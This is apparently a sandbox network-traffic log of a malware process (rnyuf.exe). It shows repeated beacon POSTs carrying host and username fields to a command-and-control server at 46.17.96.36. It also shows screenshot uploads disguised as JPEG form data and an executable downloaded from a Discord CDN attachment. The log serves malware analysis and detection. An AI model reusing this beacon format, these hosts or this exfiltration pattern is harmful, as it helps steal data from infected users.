Aug 29, 2021 22:28:08.248753071 CEST	13621	OUT	Data Raw: 1f c3 56 c5 cb 8f 7a 91 6e bd 68 f6 70 7d 43 da 54 46 69 86 41 fc 26 9a 55 87 50 45 6b 7d a5 0f 55 14 be 64 2d d5 45 3f 63 17 b3 0f 6c fa a3 23 14 95 ae 52 dd bb 51 f6 4b 73 d3 8a 9f 62 fa 31 fb 75 d5 19 34 56 a9 d3 e3 3d 1a a3 3a 61 ec c2 97 b1 Data Ascii: Vznhp}CTFiA&UPEk}Ud-E?cl#RQKsb1u4V=:a{hx4e0KIt)TUijco"2;\KFKJp1J2n%-4!ih%8RSP(.($ZpSi,ZQIJ--%8SD;H.(&LShG.(>P!FmsG(s
Aug 29, 2021 22:28:08.248868942 CEST	13627	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:08.281949997 CEST	13630	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:08.282012939 CEST	13643	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:08.282047987 CEST	13651	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:28:08.387507915 CEST	13695	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.40

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.4	49937	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:08.439291000 CEST	13696	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:08.514889956 CEST	13696	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.4	49938	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:08.745563030 CEST	13697	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:08.817559004 CEST	13739	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49736	162.159.134.233	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:09.138505936 CEST	1060	OUT	GET /attachments/880877737378734114/880877786884112404/1sb1iwyem7.exe HTTP/1.1 Host: cdn.discordapp.com
Aug 29, 2021 22:27:09.160326958 CEST	1061	IN	HTTP/1.1 301 Moved Permanently Date: Sun, 29 Aug 2021 20:27:09 GMT Transfer-Encoding: chunked Connection: keep-alive Cache-Control: max-age=3600 Expires: Sun, 29 Aug 2021 21:27:09 GMT Location: https://cdn.discordapp.com/attachments/880877737378734114/880877786884112404/1sb1iwyem7.exe X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=v%2BfWnAE20NxUBeT719f9JVT1%2B1DixuzQDpzCi%2F2W7Ka87tmGpplf3QbJUFCgw2wsUqnp6XihQ0yN0C5WrctjUtxJs0x9HC7hnXWTs070fHD6qIE3Tp%2B06ysEBWZ5mTJ6ObsnEg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 686884b62e8ad709-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49755	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:17.395796061 CEST	3176	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:17.395904064 CEST	3176	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:17.396135092 CEST	3186	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:17.396259069 CEST	3189	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:17.431163073 CEST	3199	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:17.431245089 CEST	3205	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:17.431271076 CEST	3214	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:27:17.466422081 CEST	3217	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:17.466548920 CEST	3233	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:17.466594934 CEST	3246	OUT	Data Raw: 50 67 ce f8 cd 30 83 9e 6b e8 e5 f0 d6 88 07 fc 82 ed 7f ef 8a f3 3f 89 9a 7d 9d 95 cd 97 d9 2d a2 83 72 36 e1 18 c6 79 aa 85 5e 77 60 92 e5 3c 8e 93 14 99 a5 15 c6 7a 07 a6 fc 0d e3 c6 b7 bf f6 0e 7f fd 19 1d 7b ad f3 e2 df 1f de 60 3f af f4 af Data Ascii: Pg0k?}-r6y^w`<z{`?t}fA4;;;]> x!GVP)F{0T]Il;j\|~)k%o1)qIJ+,)i3@4uR)<:s^Q_YH;x~^S
Aug 29, 2021 22:27:17.466725111 CEST	3251	OUT	Data Raw: 19 f8 79 ce 5e 07 56 3d 4f 97 5e 6c 2a e2 29 d5 9c fd 9b d4 f5 6a 61 f0 d5 68 c2 0a a5 ac 71 29 a6 dd b9 f9 6d e4 3f f0 1a b2 9e 1f d4 1f fe 58 10 3d f8 ae 92 6d 73 48 bc 07 ec da c3 5b 7b 3c 78 ac e9 ed ae ae 01 6b 6f 11 43 2a 9e db f6 d7 42 c6 Data Ascii: y^V=O^l)jahq)m?X=msH[{<xkoCBU{_TI`)gTO]dh{J<?og\ZtQfyS^J>tb[G9EJN~>lJ_Q0LoQaq\y5KK4:9<aNO
Aug 29, 2021 22:27:17.576267004 CEST	3283	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
200	192.168.2.4	49939	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:08.746604919 CEST	13698	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:08.746686935 CEST	13698	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:08.746871948 CEST	13708	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:08.747014046 CEST	13711	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:08.782047033 CEST	13714	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:08.782083035 CEST	13716	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:08.782293081 CEST	13719	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:08.782453060 CEST	13731	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:08.782474995 CEST	13733	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:08.782619953 CEST	13736	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:08.817544937 CEST	13739	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:08.925587893 CEST	13806	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
201	192.168.2.4	49940	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:08.980227947 CEST	13807	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:09.054538012 CEST	13807	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
202	192.168.2.4	49941	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:09.345271111 CEST	13808	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:09.415612936 CEST	13847	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
203	192.168.2.4	49942	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:09.345724106 CEST	13808	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:09.345828056 CEST	13808	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:09.345993996 CEST	13819	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:09.346146107 CEST	13821	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:09.381448030 CEST	13829	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:09.381498098 CEST	13835	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:09.381520987 CEST	13837	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
